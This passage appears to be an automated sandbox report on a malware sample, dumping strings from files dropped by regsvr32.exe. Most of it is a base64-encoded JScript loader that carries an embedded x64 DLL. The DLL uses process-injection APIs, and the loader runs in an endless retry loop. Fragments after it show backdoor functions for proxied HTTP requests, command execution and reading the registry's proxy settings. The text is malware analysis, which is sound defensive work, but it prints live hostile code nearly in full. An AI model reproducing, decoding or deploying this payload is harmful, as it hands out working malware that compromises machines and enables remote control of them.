Qltb2NrRGxsNjQgKz0gIlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFDRlhPcjZ3VDJFcWNFOWhLbkJQWVNwYVVqNnFjQTkiOw0KCQltb2NrRGxsNjQgKz0gImhLbTNvUG1wd0QyRXFiZWc2YW5GUFlTcHQ2RC9xY1E5aEtuQlBZV3A2VDJFcWRxZ0s2bkNQWVNwMnFBZnFjQTloS25hb0JtcHdEMkVxVkpwWTJqQlBZU3BBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUZCRkFBQmtoZ1FBU3o2NlV3QUFBQUFBQUFBQThBQWlJQXNDQ2dBQURBQUFBQXdBQUFBQUFBQndHUUFBQUJBQUFBQUFBSUFCQUFBQUFCQUFBQUFDQUFBRkFBSUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQVVBQWdBQUFBQUFBRkFBQUFBRUFBQUFBQUFBQWdCQUFRQUFFQUFBQUFBQUFCQUFBQUFBQUFBQUFCQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFCQUFBQUN3SmdBQVZnQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFOQWlBQUE4QUFBQUFBQUFBQUFBQUFBQVFBQUFrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQU1BRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNTBaWGgwQUFBQXpnc0FBQUFRQUFBQURBQUFBQVFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUNBQUFHQXVjbVJoZEdFQUFBWUhBQUFBSUFBQUFBZ0FBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUJBTG1SaGRHRUFBQUF3QUFBQUFEQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFRQUFBd0M1d1pHRjBZUUFBa0FBQUFBQkFBQUFBQWdBQUFCZ0FBQUFBQUFBQUFBQUFBQUFBQUVBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRWlKWENRSVNJbDBKQmhYU0lQc1FFVXp5VWpIUkNRd0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFMb0FBQUNBUlkxQkFjZEVKQ2dBQUFBQXgwUWtJQU1BQUFEL0ZjNFBBQUJJaTloSWcvai9ENFNnQUFBQU05SklpOGovRmI0UEFBQ0wrSVA0L3crRWdRQUFBRFBKaTlkQnVBQXciOw0KCQltb2NrRGxsNjQgKz0gIkFBQkVqVWtFL3hVWEVBQUFTSXZ3U0lYQWRHVkZNOGxGTThBejBraUx5LzhWbGc4QUFFeU5UQ1JZUkl2SFNJdldTSXZMU01kRUpDQUFBQUFBL3hYUkR3QUFoY0IwSWp0OEpGaDEiOw0KCQltb2NrRGxsNjQgKz0gIkhFaUx5LzhWRGhBQUFFaUx4a2lMWENSUVNJdDBKR0JJZzhSQVg4TXowa0c0QUlBQUFFaUx6djhWV2c4QUFFaUx5LzhWNFE4QUFFaUxYQ1JRU0l0MEpHQXp3RWlEeEVCZnc4ek0iOw0KCQltb2NrRGxsNjQgKz0gInpNek16TXhJaVZ3a0NGZElnZXhRQVFBQWk5bEVpOEV6MHJuLy94OEEveFVwRHdBQVNJdjRTSVhBZEJlNkFRQUFBRWlMeVA4Vk93OEFBRWlMei84VmlnOEFBRWlOVENRa005SkIiOw0KCQltb2NrRGxsNjQgKz0gInVDd0JBQURIUkNRZ01BRUFBT2dNQ2dBQU05S05TZ0wvRlYwUEFBQklqVlFrSUVpTHlFaUwrUDhWdEE0QUFJWEFkQ0U1WENSQWRRbUxUQ1FvNkhuLy8vOUlqVlFrSUVpTHovOFYiOw0KCQltb2NrRGxsNjQgKz0gIkN3OEFBSVhBZGQ5SWk4Ly9GU1lQQUFCSWk1d2tZQUVBQUVpQnhGQUJBQUJmdzh6TXpNek16TXpNek16TXpNeElpVndrR0VpSmRDUWdWVmRCVkVGV1FWZElqYXdrTVBmLy8waUIiOw0KCQltb2NrRGxsNjQgKz0gIjdOQUpBQUJJaTRVZ0NRQUFNOXROaS9sSVkzQThTSWxjSkdoSmkvaElBL0pNaStKTWkvR0JQbEJGQUFCMEJ6UEE2WE1EQUFBejBraU5UWmhNaWF3a0FBb0FBRVNOUW1ESFJaQm8iOw0KCQltb2NrRGxsNjQgKz0gIkFBQUE2RFVKQUFCSWk4OW1pVjNRL3hXa0RnQUFTSWxjSkRCTWpVd2tlTG9BQUFCQVFiZ0RBQUFBU0l2UHgwUWtLSUFBQUFESFJDUjRHQUFBQUVpSlhZREhSWWdCQUFBQXgwUWsiOw0KCQltb2NrRGxsNjQgKz0gIklBSUFBQUQvRllzTkFBQk1pK2hJZy9qL0Q0VHdBZ0FBU0lsRjZFaUpSZkF6d0VpSlJDUllTSWxFSkdCSWpVUWtVRWlKUkNSSVNJMUZrRVV6eVVpSlJDUkFTSWxjSkRoSWlWd2siOw0KCQltb2NrRGxsNjQgKz0gIk1FVXp3RW1MMWpQSngwUWtLQVFBQUFESFJjd0JBUUFBU0lsY0pGREhSQ1FnQVFBQUFQOFZnQTBBQUlYQUQ0U0tBZ0FBU0kyTjBRUUFBRFBTUWJqL0F3QUFpSjNRQkFBQTZGb0kiOw0KCQltb2NrRGxsNjQgKz0gIkFBQkVpMHdrWUVpTkZUb09BQUJJalkzUUJBQUFUSXZIVElsOEpDRC9GZVVOQUFCSWc4bi9NOEJJamIzUUJBQUFUSTJOSUFrQUFQS3VTSTJWMEFRQUFFaUpYQ1FnU1BmUlRJMUIiOw0KCQltb2NrRGxsNjQgKz0gIi8wbUx6ZjhWNHd3QUFFbUx6ZjhWWWcwQUFFaU5UUWd6MGtHNHlBUUFBRWlKWFFEbzZRY0FBRWlMVENSWVNJMVZBTWRGTUFzQUVBRC9GVzhNQUFDRndBK0VyUUVBQUV5THJZZ0EiOw0KCQltb2NrRGxsNjQgKz0gIkFBQklpMHdrVUVpTmhRZ0pBQUJNalVRa2NFbU5WUkJCdVFnQUFBQklpVVFrSVA4Vm1nd0FBSVhBRDRSNEFRQUFTSU85Q0FrQUFBZ1BoV29CQUFCSWkwWXdTRGxFSkhCMUtVaU4iOw0KCQltb2NrRGxsNjQgKz0gIkRZb05BQUQvRmNRTUFBQklqUlZsRFFBQVNJdkkveFY4REFBQVNJdFVKSEJJaTB3a1VQL1FSSXRHVUVpTFZqQklpMHdrVUVHNUFEQUFBTWRFSkNCQUFBQUEveFZmREFBQVNJbEUiOw0KCQltb2NrRGxsNjQgKz0gIkpHaEloY0FQaENVQkFBQkVpMDVVU0kyTkNBa0FBRTJMeEVpSlRDUWdTSXRNSkZCSWk5RC9GWEFNQUFDRndBK0UzZ0FBQUl0R1ZFZzVoUWdKQUFBUGhjNEFBQUFQdDBZVVpqdGUiOw0KCQltb2NrRGxsNjQgKz0gIkJuTlZTSTE4TUNpTEI0WEFkRHlMVi94RWkwY0VTSXRNSkZCSUExUWthRVNMeUVpTmhRZ0pBQUJOQThSSWlVUWtJUDhWR2d3QUFJWEFENFNJQUFBQWl3ZElPNFVJQ1FBQWRYMFAiOw0KCQltb2NrRGxsNjQgKz0gInQwWUcvOE5JZzhjb085aDhzRWlMVENSUVNJMkZDQWtBQUV5TlJDUm9TWTFWRUVHNUNBQUFBRWlKUkNRZy94WFRDd0FBaGNCMFJVaUR2UWdKQUFBSWRUdUxSaWhJaTB3a1dFaU4iOw0KCQltb2NrRGxsNjQgKz0gIlZRQklBMFFrYUVpSmhZQUFBQUQvRmU4S0FBQklpMHdrV1A4VnBBc0FBRWlMVENSWS94V0pDd0FBU0l0RUpGRHJOa2lMVkNSb1NJWFNkQlJJaTB3a1VFRzVBSUFBQUVVendQOFYiOw0KCQltb2NrRGxsNjQgKz0gIjlBb0FBRWlMVENSWS94VlpDd0FBU0l0TUpGRC9GVTRMQUFBendFeUxyQ1FBQ2dBQVRJMmNKTkFKQUFCSmkxdEFTWXR6U0VtTDQwRmZRVjVCWEY5ZHcwaUpEV0VhQUFDNEFRQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFNUE16TXhJaVZ3a0dGVklqYXdrZ092Ly83aUFGUUFBNkxnRkFBQklLK0JJaXcwMkdnQUFTSTFVSkRCQnVBVUJBQUQvRmMwS0FBQ0FmQ1F3QUVpTlhDUXdkQW1RU1AvRGdEc0EiOw0KCQltb2NrRGxsNjQgKz0gImRmaUFPeTUwQ3c4ZkFFai95NEE3TG5YNFNJMFZyUXNBQUVpTHkvOFZBQXNBQUlYQWRCYTRBUUFBQUVpTG5DU2dGUUFBU0lIRWdCVUFBRjNEaXdXTUN3QUFUSTFOUUV5TkJZWUwiOw0KCQltb2NrRGxsNjQgKz0gIkFBQ0pBdysyQlh3TEFBQklqUlY1Q3dBQWlFTUVTSTFFSkRCSWpRMXlDd0FBU0lsRUpDakhSQ1FnQlFFQUFFaUp0Q1NRRlFBQS94VWJDZ0FBVEkxY0pEQk1qWTFRQVFBQVRJbGMiOw0KCQltb2NrRGxsNjQgKz0gIkpDaE1qUVUwQ3dBQVNJMFZQQXNBQUVpTkRURUxBQURIUkNRZ0JRRUFBUDhWNXdrQUFFeU5YQ1F3VEkyTllBSUFBRXlKWENRb1RJMEZBQXNBQUVpTkZSQUxBQUJJalEzOUNnQUEiOw0KCQltb2NrRGxsNjQgKz0gIngwUWtJQVVCQUFEL0ZiTUpBQUJNalZ3a01FeU5qWEFEQUFCTWlWd2tLRXlOQmN3S0FBQklqUlhrQ2dBQVNJME55UW9BQU1kRUpDQUZBUUFBL3hWL0NRQUFUSTFNSkRCSWpSWEwiOw0KCQltb2NrRGxsNjQgKz0gIkNnQUFTSTBOcUFvQUFFVXp3UDhWR3drQUFFaU5qVkFCQUFDTDJPaTkrUC8vU0l2d1NJWEFENFFhQVFBQVNJMk5nUXdBQURQU1Fiai9Cd0FBU0ltOEpKZ1ZBQURHaFlBTUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIjZQSURBQUJJalkyQkJBQUFNOUpCdVA4SEFBREdoWUFFQUFBQTZOY0RBQUJNalkxZ0FnQUFUSTFGUUVpTkZlVUpBQUJJalkyQURBQUEveFZrQ1FBQVNJMkZZQUlBQUV5TmpWQUIiOw0KCQltb2NrRGxsNjQgKz0gIkFBQk1qVVZBU0kwVnl3a0FBRWlOallBRUFBQ0pYQ1FvU0lsRUpDRC9GVFVKQUFCQnUwMWFBQUJtUkRrZWRBUXovK3NsVEkyTmdBUUFBRXlOaFhBREFBQklqWTJBREFBQVNJdlciOw0KCQltb2NrRGxsNjQgKz0gIlNJbDBKQ0Rvcy9uLy8waUwrRFBTUWJnQWdBQUFTSXZPL3hVWENBQUFTSVgvZER1RjIzNHVaZzhmUkFBQXV1Z0RBQUJJaTgvL3kvOFY4QWNBQUlYQWRBU0YyM1hvU0l2UC94VlgiOw0KCQltb2NrRGxsNjQgKz0gIkNBQUFpOGpvcVBqLy8waUx6LzhWWndnQUFFaUx2Q1NZRlFBQVNJdTBKSkFWQUFCSWk1d2tvQlVBQURQQVNJSEVnQlVBQUYzRHpNek16TXpNek16TXpNek1TSVBzS0lYU2RYcUwiOw0KCQltb2NrRGxsNjQgKz0gIkJXSVhBQUNGd0ErT2h3QUFBRWlMRFhNWEFBRC95RWlGeVlrRlNCY0FBSFJPU0lzRlZ4Y0FBRWlENkFoSU84RklpUVZKRndBQWNpWklnemdBZEJEL0VFaUxEVUFYQUFCSWl3VXgiOw0KCQltb2NrRGxsNjQgKz0gIkZ3QUFTSVBvQ0VnN3dVaUpCU01YQUFCejJ2OFZBd2dBQUVqSEJSZ1hBQUFBQUFBQXVBRUFBQUJJZzhRb3c0UDZBWFh4dVFBQkFBRG96d0VBQUVpRndFaUpCZlVXQUFCMUJ6UEEiOw0KCQltb2NrRGxsNjQgKz0gIlNJUEVLTU5JeHdBQUFBQUFTSXNGM2hZQUFFaU5GZThIQUFCSWpRM2dCd0FBU0lrRndSWUFBT2lFQVFBQS93V2VGZ0FBdUFFQUFBQklnOFFvdzh6TXpNeElnK3dvaGRKSWlWd2siOw0KCQltb2NrRGxsNjQgKz0gIk1FaUpiQ1E0U0lsMEpFQ0wya2lMNlVtTDhIVWVPUlZyRmdBQWRWa3p3RWlMZENSQVNJdHNKRGhJaTF3a01FaUR4Q2pEZy9vQmRBV0QrZ0oxT1VpTEJXb1dBQUJJaGNCMEJ2L1EiOw0KCQltb2NrRGxsNjQgKz0gImhjQjBFVXlMeG92VFNJdk42THIrLy8rRndIVVdNOEJJaTNRa1FFaUxiQ1E0U0l0Y0pEQklnOFFvdzB5THhvdlRTSXZOU0lsOEpFam9udnYvLzRQN0FZdjRENFYrQUFBQWhjQVAiOw0KCQltb2NrRGxsNjQgKz0gImhiQUFBQUNMRGVVVkFBQ0Z5UStPb2dBQUFQL0ppUTNWRlFBQVNJc043aFVBQUVpRnlRK0VpZ0FBQUVpTEJkWVZBQUJJZytnSVNEdkJTSWtGeUJVQUFISW1TSU00QUhRUS94QkkiOw0KCQltb2NrRGxsNjQgKz0gIml3Mi9GUUFBU0lzRnNCVUFBRWlENkFoSU84RklpUVdpRlFBQWM5ci9GWUlHQUFCSXh3V1hGUUFBQUFBQUFPczZoZHQwQllQN0EzVXhUSXZHaTlOSWk4M283LzMvLzRYQWRRUXoiOw0KCQltb2NrRGxsNjQgKz0gIi8rc2NoZjkwR0VpTEJYUVZBQUJJaGNCMERFeUx4b3ZUU0l2Ti85Q0wrRWlMZENSQVNJdHNKRGhJaTF3a01JdkhTSXQ4SkVoSWc4UW93LzhsRWdZQUFNek16TXpNek16TXpNeEkiOw0KCQltb2NrRGxsNjQgKz0gImcrd29TSWxzSkRoSWlYUWtRRWlKZkNSSU0vOUlpVndrTUVpTDhiMy8vLy8vU0l2TzZFUUFBQUJJaGNCSWk5aDFJNHZQL3hXK0JRQUFSSTJmNkFNQUFFR0IrMkRxQUFCQmkvc1AiOw0KCQltb2NrRGxsNjQgKz0gIlIvMDcvWFhRU0l2RFNJdDhKRWhJaTNRa1FFaUxiQ1E0U0l0Y0pEQklnOFFvdy84bHBBVUFBUDhsdGdVQUFNek16TXpNek16TXpNek16R1ptWnBCbVptYVFacEJJZyt3UVRJa1UiOw0KCQltb2NrRGxsNjQgKz0gIkpFeUpYQ1FJVFRQYlRJMVVKQmhNSzlCTkQwTFRaVXlMSENVUUFBQUFUVHZUY3habVFZSGlBUEJOalpzQThQLy9RY1lEQUUwNzAzWHdUSXNVSkV5TFhDUUlTSVBFRU1NQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQWtBQUFBQUFBQVZDUUFBQUFBQUFCaUpBQUFBQUFBQUhBa0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFoQ1FBQUFBQUFBQ1dKQUFBQUFBQUFLZ2tBQUFBQUFBQXZpUUFBQUFBQUFETUpBQUFBQUFBQU5na0FBQUFBQUFBNWlRQUFBQUFBQUQrSkFBQUFBQUFBQTRsQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIklpVUFBQUFBQUFBMEpRQUFBQUFBQUVnbEFBQUFBQUFBVkNVQUFBQUFBQUJtSlFBQUFBQUFBSFlsQUFBQUFBQUFpQ1VBQUFBQUFBQ2tKUUFBQUFBQUFMUWxBQUFBQUFBQXhDVUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQURhSlFBQUFBQUFBTzRsQUFBQUFBQUFDaVlBQUFBQUFBQVlKZ0FBQUFBQUFDNG1BQUFBQUFBQVBpWUFBQUFBQUFDT0pnQUFBQUFBQUFBQUFBQUFBQUFBY0NZQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQjhKZ0FBQUFBQUFJUW1BQUFBQUFBQVdpWUFBQUFBQUFDV0pnQUFBQUFBQUtJbUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUNWekNsQkpSRDBsWkFvbGN3QUFBQUJPZEZWdWJXRndWbWxsZDA5bVUyVmpkR2x2YmdBQUFBQnVkR1JzYkM1a2JHd0FBQUFsY3lBbGN3QUFBQUFBQUFCTmIyTnIiOw0KCQltb2NrRGxsNjQgKz0gIlRXOWtkV3hsUFNWekNsSmxZV3hEYldROUpYTWdKWE1LVkdsdFpVOTFkRDBsWkFvS0FBQUFBQzVrYkd3QUFBQUFMbWx1YVFBQUFBQnRiMk5yQUFBQUFHTm1ad0J5WldGc0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFHRnlaM01BQUFBQWIzVjBaZ0FBQUFCMGFXMWxBQUFBQUFFRUFRQUVRZ0FBQVkwSkFJMTBDUUFWWkFnQUVGUUhBQXMwQmdBRVFnQUFBUm9KQUJvMEJnQVRkQWtBRG1RSUFBbFUiOw0KCQltb2NrRGxsNjQgKz0gIkJ3QUVRZ0FBSVFBQUFNQVJBQUFYRWdBQVZDSUFBQ0VJQWdBSTFFQUJ3QkVBQUJjU0FBQlVJZ0FBQVNFTEFDRmtRd0VoTkVJQklRRTZBUkx3RU9BT3dBeHdDMUFBQUFFTkJRQU4iOw0KCQltb2NrRGxsNjQgKz0gIk5Dd0FEUUVxQUFad0FBQUJEd1lBRDJRTUFBODBDZ0FQY2d0d0lRQUFBTEFWQUFCZUZ3QUF0Q0lBQUNFSUFnQUlkTE1Dc0JVQUFGNFhBQUMwSWdBQUFjY0hBTWRrc2dJYk5MUUMiOw0KCQltb2NrRGxsNjQgKz0gIkd3R3dBZ1pRQUFBQkJBRUFCQklBQUJBakFBQUFBQUFBQUFBQUFFd21BQUFBSUFBQUNDUUFBQUFBQUFBQUFBQUFaQ1lBQVBnZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUJBSkFBQUFBQUFBRlFrQUFBQUFBQUFZaVFBQUFBQUFBQndKQUFBQUFBQUFJUWtBQUFBQUFBQWxpUUFBQUFBQUFDb0pBQUFBQUFBQUw0a0FBQUFBQUFBekNRQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBRFlKQUFBQUFBQUFPWWtBQUFBQUFBQS9pUUFBQUFBQUFBT0pRQUFBQUFBQUNJbEFBQUFBQUFBTkNVQUFBQUFBQUJJSlFBQUFBQUFBRlFsQUFBQUFBQUFaaVVBQUFBQUFBQjIiOw0KCQltb2NrRGxsNjQgKz0gIkpRQUFBQUFBQUlnbEFBQUFBQUFBcENVQUFBQUFBQUMwSlFBQUFBQUFBTVFsQUFBQUFBQUEyaVVBQUFBQUFBRHVKUUFBQUFBQUFBb21BQUFBQUFBQUdDWUFBQUFBQUFBdUpnQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBRDRtQUFBQUFBQUFqaVlBQUFBQUFBQUFBQUFBQUFBQUFIQW1BQUFBQUFBQWZDWUFBQUFBQUFDRUpnQUFBQUFBQUZvbUFBQUFBQUFBbGlZQUFBQUFBQUNpSmdBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQTJRRkhaWFJVYUhKbFlXUkRiMjUwWlhoMEFBQldBRU55WldGMFpVWnBiR1ZCQUdZQlIyVjBSbWxzWlZOcGVtVUFSZ05UWlhSVWFISmxZV1JEYjI1MFpYaDAiOw0KCQltb2NrRGxsNjQgKz0gIkFBQWlBMU5sZEVacGJHVlFiMmx1ZEdWeUFBQ1NBbEJ5YjJObGMzTXpNa1pwY25OMEFBQ1dBMWRoYVhSR2IzSlRhVzVuYkdWUFltcGxZM1FBaVFOV2FYSjBkV0ZzUm5KbFpRQ3EiOw0KCQltb2NrRGxsNjQgKz0gIkExZHlhWFJsUm1sc1pRQ0NBazl3Wlc1UWNtOWpaWE56QUpnQlIyVjBVSEpwZG1GMFpWQnliMlpwYkdWSmJuUkJBSW9EVm1seWRIVmhiRVp5WldWRmVBQzBBbEpsWVdSUWNtOWoiOw0KCQltb2NrRGxsNjQgKz0gIlpYTnpUV1Z0YjNKNUFHa0FRM0psWVhSbFVISnZZMlZ6YzBFQUFHUURWR1Z5YldsdVlYUmxVSEp2WTJWemN3QUFzUUpTWldGa1JtbHNaUUFBb2dGSFpYUlFjbTlqUVdSa2NtVnoiOw0KCQltb2NrRGxsNjQgKz0gImN3QUFod05XYVhKMGRXRnNRV3hzYjJNQUFJZ0RWbWx5ZEhWaGJFRnNiRzlqUlhnQUFKNEJSMlYwVUhKcGRtRjBaVkJ5YjJacGJHVlRkSEpwYm1kQkFBQ1VBbEJ5YjJObGMzTXoiOw0KCQltb2NrRGxsNjQgKz0gIk1rNWxlSFFBcHdGSFpYUlFjbTlqWlhOelNXUUFBSDhCUjJWMFRXOWtkV3hsUm1sc1pVNWhiV1ZCQUFDQkFVZGxkRTF2WkhWc1pVaGhibVJzWlVFQUFIUUFRM0psWVhSbFZHOXYiOw0KCQltb2NrRGxsNjQgKz0gImJHaGxiSEF6TWxOdVlYQnphRzkwQUFBMkFFTnNiM05sU0dGdVpHeGxBTE1EVjNKcGRHVlFjbTlqWlhOelRXVnRiM0o1QUFET0FsSmxjM1Z0WlZSb2NtVmhaQUFBaGdCRVpXeGwiOw0KCQltb2NrRGxsNjQgKz0gImRHVkdhV3hsUVFCTFJWSk9SVXd6TWk1a2JHd0FBTDhDYzNCeWFXNTBaZ0J0YzNaamNuUXVaR3hzQUFEMEFGOXBibWwwZEdWeWJRQmtBbVp5WldVQUFKa0NiV0ZzYkc5akFBQmMiOw0KCQltb2NrRGxsNjQgKz0gIkExTnNaV1Z3QUt3QlgzTjBjbWxqYlhBQUFLRUNiV1Z0YzJWMEFBQUFBQUFBQUFBQUFFcyt1bE1BQUFBQTRpWUFBQUVBQUFBQkFBQUFBUUFBQU5nbUFBRGNKZ0FBNENZQUFMQVYiOw0KCQltb2NrRGxsNjQgKz0gIkFBRDBKZ0FBQUFCdGIyTnJYM0oxYmpKZmVEWTBMbVJzYkFCRWJHeFNaV2RwYzNSbGNsTmxjblpsY2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFQa1EiOw0KCQltb2NrRGxsNjQgKz0gIkFBQ0FJZ0FBQUJFQUFMTVJBQUJ3SWdBQXdCRUFBQmNTQUFCVUlnQUFGeElBQUlRVkFBQkFJZ0FBaEJVQUFLQVZBQUF3SWdBQXNCVUFBRjRYQUFDMElnQUFYaGNBQUdrWUFBQ2ciOw0KCQltb2NrRGxsNjQgKz0gIklnQUFhUmdBQUlRWUFBQ1FJZ0FBa0JnQUFHd1pBQUQ0SVFBQWNCa0FBT0FhQUFBQUlnQUE4Qm9BQUY0YkFBQVlJZ0FBZ0JzQUFNNGJBQURJSWdBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQT0iOw0KCQl0aGlzLkJhc2U2NF9Nb2NrRGxsNjQgPSBtb2NrRGxsNjQ7DQoJfSwNCglmaXJlOmZ1bmN0aW9uKCl7DQoJCXdpdGgob3J6KXsNCgkJCWluaXRCYXNlKCk7DQoJCQlkb3sNCgkJCQl0cnl7bWFpbigpO31jYXRjaChlcnIpe2VyckxvZyhlcnIpO30NCgkJCQl0cnl7aWYob0lFKW9JRS5RdWl0KCk7fWNhdGNoKGUpe30NCgkJCQlXU2NyaXB0LlNsZWVwKHJldHJ5SW50ZXJ2YWwpOw0KCQkJfXdoaWxlKGJGb3JldmVyVHJ5IHx8IHJldHJ5VGltZS0tKTsNCgkJfQ0KCX0NCn07DQpvcnouZmlyZSgpOw==';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
randStr:function(len){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
realUrl = url?url:this.initUrl
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
RegCloseKey
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
RegOpenKeyExW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
regsvr32.pdb
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
req:function(url, method, data, cookie, proxy, username, password){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += '['+i+'] ' + comment + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'Owner = ' + outParams.User+'\\'+outParams.Domain + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProcessID='+oExec.ProcessID+',timeout='+timeout+',ExitCode='+oExec.ExitCode+'\r\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProxyEnable='+this.oShell.RegRead('HKEY_USERS\\'+sid+'\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProxyServer='+this.oShell.RegRead('HKEY_USERS\\'+sid+'\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
